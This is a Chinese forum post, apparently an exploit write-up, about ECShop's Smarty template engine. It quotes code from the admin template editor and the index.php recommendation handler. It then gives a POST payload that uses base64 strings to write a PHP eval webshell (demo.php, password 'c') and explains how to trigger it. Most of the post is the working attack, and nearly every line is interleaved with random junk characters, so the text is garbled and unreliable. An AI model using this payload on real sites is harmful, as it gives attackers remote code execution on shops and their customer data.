首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
0 @2 {2 U; e1 q& n
7 E4 }+ }. s. v# h3 i# E( l而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了0 m c7 h; x. f& a7 M
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码. y- u1 e8 h3 S8 M" t; j) v
admin/template.php: g+ o& N# r) C
( L+ y+ J, a- X9 H5 v1 ^! T9 a1 if ($_REQUEST['act'] == 'update_library') ( \) K; U% z1 Q% N: ?
. q. w$ y% C4 J3 s' g1 ?
2 7 x% K0 {, V Z
$ R4 q0 `- S, Z/ R) s% F9 E/ @3 { 8 t$ z" [* J8 g, w3 E% v
; W! @. J9 u( y( ~8 U7 g7 a6 I* U4 check_authz_json('library_manage');
6 u' |- Q- W6 E+ t0 h. j! J, p. x8 _1 Z8 E9 @
5 : ?) B8 s ?! s7 V- A
5 s* d1 w/ A# u% z6 $html = stripslashes(json_str_iconv($_POST['html']));
8 I( F9 @ h) [, g$ m( i1 q: Q& e; F* f
7
. o/ ?& @& P, M6 y {% E
( m i" f" z3 v: J! c7 w }8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 % [' k* U, \4 a3 v6 d$ m
( {( b: A6 m+ x5 g) Z
9 # r9 c3 t8 R9 [- q) X( a' y
; w. p- S8 |- A' ~4 [/ f: X# o10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 . ]8 t) p u7 Z- w3 f5 Q
" t D0 I1 p1 m) \11
9 a8 o- c; g' ?/ i: G
3 _' Y6 G7 c4 C( d3 Y# ?& G3 @* ~12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ D- ]( k: Z1 G) D
& G% A# ?0 m. {! ^, l6 C
13
. i8 |$ \, U7 k# w. f! F& S V- F, e! [8 N+ A3 R
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
`9 {, t( f7 Q7 i/ Y( |; Y+ X/ w1 F
15 {
7 J& m! t, i7 D9 q! V$ _- Y+ k' B/ u9 u$ T6 j& S8 X
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 P1 m7 E& X& ?7 |9 K; A6 ^# r" R, B( R; R
17 make_json_result('', $_LANG['update_lib_success']); 5 I: q E% ]7 K" W1 w3 h
( T) U+ q+ U+ d0 D
18 } 3 i' q4 p0 V" K, w) I
4 H+ i7 a- q3 f* r6 s& C7 r19 else
7 _! V! x* ] x2 l5 \( K7 p6 i) J
20 { # b. A& i! ^5 f# Z, j6 N8 ]9 c9 S
( W( h. y' r& @
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ B/ h& y- K, q7 k# Q8 s% B5 {) w! ^: A+ X9 P4 ~, l
22 } - R9 k& s; X# G }( A
" {, p! `7 B) Z0 S1 B23 } 0 i& ^" ^( ~: m3 _4 U" y
4 [' M: W* v( A0 r0 p! {$ t
那么找个比较方便调用了模板的文件. k) {4 k/ M7 [
index.php0 r: e* c% v+ @
( e6 X" f5 T: M. v2 D
1 if ($act == 'cat_rec') ' `( G5 @; z4 w p$ `
5 v# W; q7 [7 t" }
2 : W+ T$ p) }+ a8 M7 U% _6 a @
; \& }1 Q( B D. l! w6 J3 {
5 N8 R& _) [/ |" V; Q" m" X! x% M" l. `% U
4
' @$ v$ n( `7 ^* O5 B7 M3 p( c Z1 [, a% L: o! S9 [+ z& u
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
4 ~. e# T8 S$ j' K9 y+ c+ ]. _. ] K8 b8 C6 z* Z6 m3 b6 o3 w
6 4 M1 U" D3 u1 Q |
, b e; h2 `7 G: ?- D7 A7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 5 C- u& C4 E0 _7 x0 R( u( E
8 X! I; L3 Y$ k3 p! X% S B$ ]8 ; [ `, o; z9 k( Z8 Z# v
0 K5 P3 Q, F8 i8 X) C: ~% e! S
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 5 Q R0 V2 ]: i% Z9 s6 H
+ T' M9 v. B& k, J# o3 b* B0 s2 L
10 6 M: T5 `& n' f7 j9 g9 Q j" m/ g: S
$ l% F+ f) b w, |) H
11 include_once('includes/cls_json.php'); ( I8 _! q) ]+ C8 ?3 b: v" Z+ @
. }9 n# p1 N4 ^- {4 W5 e
12 " {& @8 b2 V0 p3 p6 ~' f6 } w
( R5 U' J' L b( o# B
13 $json = new JSON;
# z4 ?( a) i& U6 C6 c0 C! z; Z
3 L( k4 a" u% y1 m7 Y14
4 w& g$ ^0 W, }/ e/ O6 p1 I/ m0 s. t& J* `
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
# ]; H$ R h% U# B
! f+ m; f4 r/ \3 C0 h3 ]- ^* X16 4 j4 R+ I0 A+ m+ N) r; ?- S
7 K* t/ r- ?' Y. y& z17 $children = get_children($cat_id);
2 Q# t: [6 X* r6 \
$ O5 ~" Q- N. T) D; i$ b18 3 ]0 n7 v6 r2 ?' V: J3 r
# U ?$ M% p' w/ S1 t/ v6 T3 F19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 9 B. N6 ? K6 f/ S$ ]2 y
. L: Y' D' ^6 P3 b" S1 O20 5 }+ \+ f8 }- J6 |! R
0 ~% q6 n# `/ n0 x5 i9 A
21 $smarty->assign('cat_rec_sign', 1);
- Z9 s: S m1 d$ z/ I2 G) d, L5 Z4 ^# [. |: u- l
22 , c& x6 D& H" c4 [$ ?1 `
+ a$ H v# |5 s23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 9 N8 o& E5 L' B; y1 M, u. W
2 O: X; H7 C5 y" x4 Y6 @* m
24
; u/ `% ]4 I/ V" G
/ r- E+ `9 G0 C* {% f, g& q8 f25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ n2 g2 q$ K, r" Z, D
6 I" N2 E. A: g4 M8 P26
2 K, v3 a, X8 P2 [$ _& D/ M3 ?, j2 C t
27 echo $rec_array[$rec_type]; ! F. C }7 k3 {1 B7 H, p
2 \5 U( r% }" s9 U. ?0 w. k28
/ F" e' F3 ]0 E, J" x# i U
9 o6 H* s! A, t$ b7 ]29 die($json->encode($result)); 4 i, A$ Y! P7 @
0 O4 I0 _1 S* D2 `. g30
" J) R4 I, ^0 S$ l; Z3 x K5 F; p( z# Z& p1 l+ d/ e/ I" W' x
31 }
( r; b% l. G/ Q' o4 E( u4 j& g: O; F$ H1 G) t
那么就有利用方法了
8 P# O( {- K; H' q7 _; {post包到http://localhost/ec/admin/template.php?act=update_library. }& s; R+ {. |3 P" T
Post内容:5 s: v1 w. E; Q" p5 U- t
6 M5 F1 [: d2 f8 m8 D C4 W3 H$ g( |0 e7 Q8 J# j/ L! p, W
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 7 ?3 T# v, i* X" g; o+ L% ]
) K1 m# T( k) B$ {* B4 Z, P/ U然后访问http://localhost/ec/index.php?act=cat_rec
2 Q1 X& U( C2 Y$ t5 O9 U2 t/ R
- R7 |7 W6 P+ u" r" gshel地址:http://localhost/ec/demo.php, C, A1 q3 E( g, _
密码c
% \/ z$ x. _ Y& Q d& r: }0 ~! e; F) k0 `' A/ f: I
|